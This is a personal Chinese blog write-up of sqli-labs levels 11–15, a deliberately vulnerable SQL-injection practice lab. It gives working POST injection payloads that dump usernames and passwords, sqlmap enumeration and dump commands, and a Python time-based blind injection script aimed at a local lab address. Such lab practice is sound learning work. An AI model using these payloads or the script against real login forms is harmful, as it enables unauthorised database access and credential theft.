前言

今天早上学了学网易云课堂的注入课程突然感觉网易云可i春秋联合出品的课程还不错,之后就刷了刷攻防世界的题,题有眉目但是还是忍不住看了WP 服了自己了!!!一直刷到了晚上也不知道几点我妈买了柚子回了吃了会 回来继续战斗 想起来自己自从回来就没怎么继续刷sql靶场的题了,又刷了五关题。总结下这五关内容现在已经两点了总结完就该睡了。

第十一关:(基于错误的POST型单引号字符型注入)

分析代码有报错可以使用多种注入方式

核心代码:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

手工注入payload:

1 uname=admin' order by 2#&passwd=admin&submit=Submit
2 uname=admin' union select 1,2#&passwd=admin&submit=Submit
3 uname=0' union select 1,2#&passwd=admin&submit=Submit
4 uname=0' union select user(),version() #&passwd=admin&submit=Submit
5 uname=0' union select 1,database()#&passwd=admin&submit=Submit
6 uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=admin&submit=Submit
7 uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name=users#&passwd=admin&submit=Submit
8 uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit
9 uname=0' UNION SELECT 1,GROUP_CONCAT(USERNAME,'-',PASSWORD) FROM USERS#&passwd=admin&submit=Submit

SQLmap 注入payload:

bp抓包保存为lou.txt
python sqlmap.py -r lou.txt
python sqlmap.py -r lou.txt --dbs 列出所有数据库
python sqlmap.py -r lou.txt --current-dbs 列出当前数据库
python sqlmap.py -r lou.txt -D 'security' --tables 列出security数据库中所有的表
python sqlmap.py -r lou.txt -D 'security' -T "users" --columns 列出users表中的所有列
python sqlmap.py -r lou.txt -D 'security' -T "users" -C "username","password" --dump 列出所有列中的数据

第十二关(基于错误的双引号POST型字符型变形的注入)

这一关仅在SQL语句处理上根12关不同其他都一一致

核心代码:

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

手工注入payload:

1 uname=admin") and 1=1 --+&passwd=admin&submit=Submit
2 uname=admin") and 1=2 --+&passwd=admin&submit=Submit
3 uname=admin") order by 2 --+&passwd=admin&submit=Submit
4 uname=0") union select 1,2 --+&passwd=admin&submit=Submit
5 uname=0") union select version(),database() --+&passwd=admin&submit=Submit
6 uname=0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit
7 uname=0") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit
8 uname=0") union select group_concat(username),group_concat(password) from users --+&passwd=admin&submit=Submit

第十三关(POST单引号变形双注入)

这一关也是根上面差不多紧紧是SQL语句部分不一致

核心代码:

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

可以用上述方法进行注入

也可以用下面的脚本

python脚本:

 1 import requests
2 import time
3 url="http://192.168.233.1/lou/sql/Less-13/"
4 allString='''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnm'''
5
6 database=""
7
8 for i in range(1,10):
9
10 for j in allString:
11 payload="admin') and if(substr(database(),{},1)='{}',sleep(3),1)#".format(int(i),str(j))
12
13 data={
14 "uname":payload,
15 "passwd":"admin&submit=Submit"
16 }
17 print(data)
18 urls=requests.post(url,data=data)
19 #print(urls.text)
20
21 t=urls.elapsed.total_seconds()
22 #print(j)
23 if t>=3:
24 #print(j)
25 database+=j
26 print(data)
27
28 elif t<3 and j=='M':
29 break
30
31 print('DATABASE:',database)

第十四关

这一关也是紧sql语句处理部分不一致可以对比上面

核心代码:

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysql_query($sql);

注入参考上面皆可以

第十五关 (基于bool型/时间延迟单引号POST型盲注)

这一关与上面都不一样 这个页面没有报错信息 只有登录成功/失败页面 只能通过sleep()时间注入

核心代码:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

手工payload:

1 没任何错误信息只能盲注通过时间注入
2 uname=admin' and 1=1 --+&passwd=admin&submit=Submit
3 uname=admin' and 1=1 --+&passwd=admin&submit=Submit
4 uname=admin' and sleep(5) --+&passwd=admin&submit=Submit

工具注入 参考十三关脚本修改即可

重闯Sqli-labs关卡第三天(11-15关)的更多相关文章

  1. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  2. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  3. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  4. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  5. XMU 1615 刘备闯三国之三顾茅庐(三) 【欧拉函数+快速幂+欧拉定理】

    1615: 刘备闯三国之三顾茅庐(三) Time Limit: 1000 MS  Memory Limit: 128 MBSubmit: 45  Solved: 8[Submit][Status][W ...

  6. 重闯Sqli-labs关卡第三天(6-10关)

    第六关(双注入GET双引号字符型注) 核心代码: 1 $id = '"'.$id.'"'; 2 $sql="SELECT * FROM users WHERE id=$i ...

  7. 重闯Sqli-labs关卡第二天(5关)

    第五关(双注入GET单引号字符型注入-报错时间注入) 盲注盲注,Blind SQL Injection基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注 核心代码:(不会返回数据库中的数据) ...

  8. 重闯Sqli-labs关卡第一天(1-4关)

    前言 之前暑假闯了很多关但是最近刷BUGku的题 遇到SQL注入题就凉... 垃圾的我只能继续硬着头皮重新再来学习,再来闯. 第一关:字符型注入 字符型注入就是注入点的数据类型是字符型.字符型注入与数 ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

随机推荐

  1. 第十五章 nginx七层负载均衡

    一.Nginx负载均衡 1.为什么做负载均衡 当我们的Web服务器直接面向用户,往往要承载大量并发请求,单台服务器难以负荷,我使用多台Web服务器组成集群,前端使用Nginx负载均衡,将请求分散的打到 ...

  2. 【Azure微服务 Service Fabric 】如何转移Service Fabric集群中的种子节点(Seed Node)

    注意:在对Service Fabric的节点做操作之前,请务必确认是否是种子节点(Seed Node)且当前节点的数量是否与SF的持久层要求的数量一致. 可靠性级别是 Service Fabric 群 ...

  3. 使用Volley获取验证码

    时间紧张,直接上代码 public class MainActivity extends AppCompatActivity { private RequestQueue queues ; Strin ...

  4. 通过Relect反射方法创建对象,获得对象的方法,输出对象信息

    package reflects; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java. ...

  5. 安装 WSL2、Ubuntu 及 docker(详细步骤)

    本文链接:https://www.cnblogs.com/tujia/p/13438639.html 一.更新Windows版本 WSL 2 随着 Windows build 19041 而推出,能更 ...

  6. drf 权限校验设置与源码分析

    权限校验 权限校验和认证校验必须同时使用,并且权限校验是排在认证校验之后的,这在源码中可以查找到其执行顺序. 权限校验也很重要,认证校验可以确保一个用户登录之后才能对接口做操作,而权限校验可以依据这个 ...

  7. Java学习的第十五天

    1.今天复习了第四章的内容 重新看了看方法参数问题,final修饰的关键字 2.今天没问题 3.明天学习多态变化

  8. 容器探针(liveness and readiness probe)

    一.为什么需要容器探针 如何保持Pod健康   只要将pod调度到某个节点,Kubelet就会运行pod的容器,如果该pod的容器有一个或者所有的都终止运行(容器的主进程崩溃),Kubelet将重启容 ...

  9. 华为云FusionInsight MRS:助力企业构建“一企一湖,一城一湖”

    摘要:华为云FusionInsight MRS新一代的数据湖,让大数据越用越快.越用越易.越用越稳.越用越省!让数据价值近在眼前! 10月30日,以"携手共赢·数创未来"为主题的第 ...

  10. java 执行shell命令及日志收集避坑指南

    有时候我们需要调用系统命令执行一些东西,可能是为了方便,也可能是没有办法必须要调用.涉及执行系统命令的东西,则就不能做跨平台了,这和java语言的初衷是相背的. 废话不多说,java如何执行shell ...